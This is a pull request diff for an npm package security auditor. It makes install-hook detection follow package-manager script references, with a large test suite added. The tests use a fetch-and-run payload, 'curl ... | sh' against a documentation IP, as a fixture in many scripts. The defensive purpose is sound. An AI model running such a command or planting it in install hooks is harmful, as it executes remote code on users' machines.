Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 4 additions & 2 deletions docs/adr/0056-security-audit-hardening.md
Original file line number Diff line number Diff line change
Expand Up @@ -280,8 +280,10 @@ and `transferRequestBytes` take `currentChallengeId`.
critical finding, and re-import is refused once native history exists. The
operator's remedy is a policy exception for that name (or relaxing the
repository constraint) until a new release is published with provenance.
- Detection gaps left for follow-up: `npm run <name>` is not followed into
`scripts[<name>]`, `.`/`source` are not treated as interpreters, bare
- Detection gaps left for follow-up (`npm run <name>` was closed in #85, by deliberate over-following:
after `npm`, `pnpm`, `yarn` or `bun`, every word that names a defined script is followed with its
`pre`/`post` scripts, each script once from a worklist, and its body gets the hook's inline-danger
check; `AUDIT_REVISION` is 3): `.`/`source` are not treated as interpreters, bare
`-r`/`NODE_OPTIONS` specifiers and extension-less preload paths are not
resolved, command words are not looked up in bundled `node_modules/.bin`,
and the overflow fallback stays regex-based. Other rules still scan those
Expand Down
2 changes: 1 addition & 1 deletion packages/core/src/audit.ts
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ import type { VulnAdvisory } from "./vuln-corpus.js";

export const ENGINE_VERSION = "0.1.0-alpha.2";
/** Bump whenever rule or extraction semantics change: cached and stored audits from another revision are recomputed. */
export const AUDIT_REVISION = 2;
export const AUDIT_REVISION = 3;

/** Run the heuristic rule pipeline over an already-extracted package. */
export function runRules(input: AuditInput): Finding[] {
Expand Down
77 changes: 67 additions & 10 deletions packages/core/src/rules/install-scripts.ts
Original file line number Diff line number Diff line change
Expand Up @@ -32,24 +32,30 @@ export const installScriptsRule: Rule = {
}

const findings: Finding[] = [];
const referencedFiles = makeResolver(input.files);
const referencedFiles = makeResolver(input.files, scripts);

for (const hook of LIFECYCLE) {
const cmd = scripts[hook];
if (typeof cmd !== "string" || !cmd) continue; // npm ignores non-string hooks; one must not throw the rule away

// What does the lifecycle command itself do?
const inlineDangers = DANGER_IN_SCRIPT.filter((d) => d.re.test(cmd));
// If it runs a local script file or a package script, inspect those too.
const { files: referenced, scripts: followed } = referencedFiles(cmd);

// If it runs a local script file, inspect that file's contents too.
const referenced = referencedFiles(cmd);
// What does the lifecycle command itself do? Followed script bodies get the same check.
const inlineDangers = DANGER_IN_SCRIPT.filter((d) => d.re.test(cmd));
const followedDangers = followed.flatMap(([name, body]) =>
DANGER_IN_SCRIPT.filter((d) => d.re.test(body)).map((d) => ({
why: d.why,
ev: { file: "package/package.json", snippet: `"${name}": "${truncate(body, 120)}"` },
})),
);
const fileDangers = referenced.flatMap((f) =>
DANGER_IN_SCRIPT.flatMap((d) =>
scanLines(f, d.re, 2).map((ev) => ({ why: d.why, ev })),
),
);

if (inlineDangers.length === 0 && fileDangers.length === 0) {
if (inlineDangers.length === 0 && fileDangers.length === 0 && followedDangers.length === 0) {
findings.push(
mkFinding({
ruleId: this.id,
Expand All @@ -64,10 +70,11 @@ export const installScriptsRule: Rule = {
}

const reasons = [
...new Set([...inlineDangers.map((d) => d.why), ...fileDangers.map((d) => d.why)]),
...new Set([...inlineDangers, ...followedDangers, ...fileDangers].map((d) => d.why)),
];
const evidence = [
{ file: "package/package.json", snippet: `"${hook}": "${truncate(cmd, 120)}"` },
...followedDangers.map((d) => d.ev),
...fileDangers.map((d) => d.ev),
];
findings.push(
Expand Down Expand Up @@ -162,7 +169,7 @@ interface TrieNode {
* nothing, and all work is linear in the command and total path length: exact paths
* through a Map, JS suffixes through a reverse component trie (O(token components)).
*/
function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] {
function makeResolver(files: PackageFile[], scripts: Record<string, string>): (cmd: string) => { files: PackageFile[]; scripts: [string, string][] } {
let byPath: Map<string, PackageFile> | undefined;
let trie: TrieNode | undefined;
const exact = (p: string) => (byPath ??= new Map(files.map((f) => [f.path, f] as const))).get(p);
Expand Down Expand Up @@ -222,7 +229,41 @@ function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] {
const isPrefix = (words: string[], i: number) =>
/^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(words[i]!) || (i > 0 && WRAPPERS.has(words[i - 1]!) && words[i]!.startsWith("-"));

/** Scan one command line; `sh -c "<code>"` code is scanned again as a command line (depth-bounded, so linear). */
// Package scripts reached from a command line, scanned from a worklist (not recursion): each name once, so
// the work is bounded by the number of scripts and a long chain cannot overflow the stack.
let visited = new Set<string>();
let queue: [string, string][] = [];
const enqueue = (n: string) => {
const body = Object.hasOwn(scripts, n) ? scripts[n] : undefined;
if (typeof body === "string" && !visited.has(n)) { visited.add(n); queue.push([n, body]); }
};
/**
* Deliberate over-following: after `npm`/`pnpm`/`yarn`/`bun`, every word is treated as a script name, and
* so is each script a built-in command of that name runs (`PM_COMMANDS`). Each gets its `pre`/`post` scripts.
* Undefined names are skipped by `enqueue`. A script that does not run costs a false positive only if it is
* itself dangerous; missing one that runs is a bypass.
*/
const followScriptWords = (words: string[], from: number, out: Set<PackageFile>): void => {
// Any package-manager invocation may run the install lifecycle (`npm ci`, bare `yarn`, an alias nobody listed).
for (const n of INSTALL_SCRIPTS) { enqueue(`pre${n}`); enqueue(n); enqueue(`post${n}`); } // npm runs preprepare/postprepare too
for (let j = from; j < words.length; j++) {
const w = words[j]!;
for (const x of [w, ...(PM_COMMANDS.get(w) ?? [])]) {
enqueue(`pre${x}`);
enqueue(x);
enqueue(`post${x}`);
}
// `npm start` with no `start` script runs `node server.js`.
if ((w === "start" || w === "restart") && !(Object.hasOwn(scripts, "start") && typeof scripts.start === "string" && scripts.start !== "")) {
const hit = exact("package/server.js");
if (hit) out.add(hit);
}
}
};

/**
* Scan one command line; `sh -c "<code>"` code is scanned again as a command line (depth-bounded, so linear).
*/
const scan = (cmd: string, out: Set<PackageFile>, depth: number): void => {
// Quote tracking can only ADD coverage: a stray apostrophe (`# it's`) must not hide later commands,
// so the plain split is scanned too, and `$(...)` / backtick bodies are scanned as command lines.
Expand Down Expand Up @@ -253,6 +294,7 @@ function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] {
if (!command) continue;
const name = trimPunct(command);
const interpreter = name.slice(name.lastIndexOf("/") + 1);
if (PACKAGE_MANAGERS.has(interpreter)) followScriptWords(words, i + 1, out);
const inline = Object.hasOwn(INLINE_FLAG, interpreter) ? INLINE_FLAG[interpreter] : undefined;
// The command word itself may be a package script (`./setup`).
if (!inline) {
Expand Down Expand Up @@ -325,12 +367,27 @@ function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] {

return (cmd) => {
const out = new Set<PackageFile>();
visited = new Set();
queue = [];
scan(cmd, out, 0);
return [...out];
for (let q = 0; q < queue.length; q++) scan(queue[q]![1], out, 0); // the queue grows while it is read
return { files: [...out], scripts: queue };
};
}

const MAX_INLINE_DEPTH = 3;
const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn", "bun"]);
// Scripts a built-in package-manager command runs besides the script of its own name (npm lifecycle).
const INSTALL_SCRIPTS = ["preinstall", "install", "postinstall", "prepublish", "prepare"];
const PM_COMMANDS = new Map<string, string[]>([
...["t", "tst"].map((c) => [c, ["test"]] as [string, string[]]),
// Install scripts are followed for every package-manager command, so install aliases need no entry.
...["it", "install-test", "cit", "install-ci-test", "clean-install-test", "sit"].map((c) => [c, ["test"]] as [string, string[]]),
["restart", ["restart", "stop", "start"]],
["pack", ["prepack", "prepare", "postpack"]],
["publish", ["prepublishOnly", "prepack", "prepare", "postpack", "publish", "postpublish"]],
...["version", "verison"].map((c) => [c, ["preversion", "version", "postversion"]] as [string, string[]]),
]);
const isPunct = (c: string | undefined) => c === "(" || c === ")" || c === '"' || c === "'" || c === "`";

/** Trim quote/paren punctuation from both ends with two pointers (a `)+$` regex is quadratic on `)))…x`). */
Expand Down
161 changes: 161 additions & 0 deletions packages/core/test/security-npm-run.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,161 @@
import assert from "node:assert/strict";
import { describe, test } from "node:test";
import { runRules } from "../src/index.js";
import type { AuditInput, PackageFile } from "../src/types.js";

// A lifecycle hook that hands a script name to a package manager is followed into `scripts[<name>]`.
// Following is deliberately generous: a defined script named anywhere after npm/pnpm/yarn/bun is scanned.

const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address

function file(path: string, content: string): PackageFile {
return { path, content, size: Buffer.byteLength(content), changed: false };
}
function inputFor(files: Record<string, string>, pkgJson: object): AuditInput {
const list = Object.entries(files).map(([p, c]) => file(p, c));
list.push(file("package/package.json", JSON.stringify(pkgJson)));
return {
meta: {
name: "probe", version: "1.0.0", author: null, maintainers: [], license: null,
hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null,
unpackedSize: 0, fileCount: list.length,
},
files: list,
mode: "full",
};
}
const findings = (scripts: Record<string, string>, files: Record<string, string> = {}) =>
runRules(inputFor(files, { scripts })).filter((x) => x.ruleId === "install-scripts");
const sev = (scripts: Record<string, string>, files: Record<string, string> = {}) => findings(scripts, files).map((x) => x.severity);

// `setup` runs an inline payload (no setup.js file, so only script lookup can find it).
const via = (hook: string, extra: Record<string, string> = {}) => sev({ postinstall: hook, setup: CURL_SH, ...extra });

describe("install hooks follow package-manager script references", () => {
const forms: [string, string][] = [
["npm run", "npm run setup"],
["pnpm run", "pnpm run setup"],
["yarn run", "yarn run setup"],
["yarn <name>", "yarn setup"],
["pnpm <name>", "pnpm setup"],
["bun run", "bun run setup"],
["bun <name>", "bun setup"],
["npm run -- x", "npm run -- setup"],
["npm --prefix . run x", "npm --prefix . run setup"],
["an unknown option before the name", "npm --made-up-flag run setup"],
["a name after other arguments", "npm run setup -- --flag"],
["a compound command", "echo hi && npm run setup"],
];
for (const [label, hook] of forms) {
test(`${label}: \`${hook}\` reaches the payload`, () => assert.deepEqual(via(hook), ["critical"]));
}

test("the evidence names the followed script", () => {
const [f] = findings({ postinstall: "npm run setup", setup: CURL_SH });
assert.equal(f!.severity, "critical");
assert.ok(f!.evidence.some((e) => e.snippet.startsWith('"setup":')));
});

test("a file executed by the followed script is scanned", () => {
assert.deepEqual(sev({ postinstall: "npm run setup", setup: "node setup.js" }, { "package/setup.js": `${CURL_SH}\n` }), ["critical"]);
});

test("`npm test`, `npm t` and `npm restart` (which also follows stop and start)", () => {
assert.deepEqual(sev({ postinstall: "npm test", test: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm t", test: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm restart", start: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm restart", stop: CURL_SH }), ["critical"]);
});

test("pre<name> and post<name> run with the script, and a benign prebuild stays clean", () => {
assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc", prebuild: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc", postbuild: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc", prebuild: "echo clean" }), ["low"]);
assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc", preother: CURL_SH }), ["low"]);
});

test("a benign `build` stays clean, and `yarn install` with no `install` script resolves nothing", () => {
assert.deepEqual(sev({ postinstall: "npm run build", build: "tsc" }), ["low"]);
assert.deepEqual(sev({ postinstall: "yarn install", setup: CURL_SH }), ["low"]);
assert.deepEqual(sev({ postinstall: "npm run setup" }), ["low"]);
});

test("words that are not package scripts or follow another command are not followed", () => {
assert.deepEqual(via("echo setup"), ["low"]);
assert.deepEqual(via("npm run constructor"), ["low"]);
assert.deepEqual(via("yarn toString"), ["low"]);
});

test("an alias keeps its literal name: `npm run t` follows scripts.t", () => {
assert.deepEqual(sev({ postinstall: "npm run t", t: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm t", t: CURL_SH }), ["critical"]);
});

test("pre/post are followed whether or not the main script is defined", () => {
assert.deepEqual(sev({ postinstall: "npm run build", prebuild: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm test", pretest: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm t", posttest: CURL_SH }), ["critical"]); // alias target gets pre/post too
});

test("implicit `npm start` runs server.js when scripts.start is undefined", () => {
assert.deepEqual(sev({ postinstall: "npm start" }, { "package/server.js": `${CURL_SH}\n` }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm restart" }, { "package/server.js": `${CURL_SH}\n` }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm start", prestart: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm start", start: "echo hi" }, { "package/server.js": `${CURL_SH}\n` }), ["low"]); // an explicit start wins
assert.deepEqual(sev({ postinstall: "npm run build" }, { "package/server.js": `${CURL_SH}\n` }), ["low"]);
});

test("a command that runs several scripts follows each, and inherited keys are not aliases", () => {
const hooks: [string, string][] = [
["npm cit", "test"], ["npm install-ci-test", "test"],
["npm pack", "prepack"], ["npm pack", "prepare"], ["npm pack", "postpack"],
["npm publish", "prepublishOnly"], ["npm publish", "postpublish"], ["npm publish", "publish"],
["npm version", "preversion"], ["npm version", "postversion"],
["npm ci", "prepare"], ["npm i", "postinstall"], ["npm rebuild", "install"],
];
for (const [hook, target] of hooks) {
assert.deepEqual(sev({ preinstall: hook, [target]: CURL_SH }).includes("critical"), true, `${hook} -> ${target}`);
}
assert.deepEqual(sev({ postinstall: "npm run constructor" }), ["low"]);
assert.deepEqual(sev({ postinstall: "npm run __proto__" }), ["low"]);
});

test("an empty `start` script does not suppress the server.js fallback", () => {
assert.deepEqual(sev({ postinstall: "npm start", start: "" }, { "package/server.js": `${CURL_SH}\n` }), ["critical"]);
});

test("`cit`, the install aliases, `verison` and an unknown subcommand reach their lifecycle scripts", () => {
for (const hook of ["npm cit", "npm install-ci-test", "npm add left-pad", "npm isntall", "npm frobnicate", "npm run setup"]) {
assert.deepEqual(sev({ postinstall: hook, prepare: CURL_SH }), ["critical"], `${hook} -> prepare`);
}
assert.deepEqual(sev({ postinstall: "npm verison", postversion: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm cit", test: CURL_SH }), ["critical"]);
});

test("any package-manager invocation follows the install lifecycle scripts", () => {
assert.deepEqual(sev({ postinstall: "npm ci", prepublish: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "yarn", prepare: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm --silent", prepare: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm ci", preprepare: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "npm ci", postprepare: CURL_SH }), ["critical"]);
assert.deepEqual(sev({ postinstall: "echo hi", prepare: CURL_SH }), ["low"]); // not a package manager
});

test("`sit` and the other install-test aliases reach test", () => {
for (const c of ["sit", "clean-install-test"]) assert.deepEqual(sev({ postinstall: `npm ${c}`, test: CURL_SH }), ["critical"], c);
});

test("a self-referencing script terminates", () => {
assert.deepEqual(sev({ postinstall: "npm run a", a: "npm run a" }), ["low"]);
assert.deepEqual(sev({ postinstall: "npm run a", a: "npm run b", b: `npm run a && ${CURL_SH}` }), ["critical"]);
});

test("a 20,000-script chain finishes quickly with no stack overflow", () => {
const scripts: Record<string, string> = { postinstall: "npm run s0" };
for (let i = 0; i < 20000; i++) scripts[`s${i}`] = `npm run s${i + 1}`;
scripts.s20000 = CURL_SH;
const t0 = Date.now();
assert.deepEqual(sev(scripts), ["critical"]);
assert.ok(Date.now() - t0 < 2000);
});
});
Loading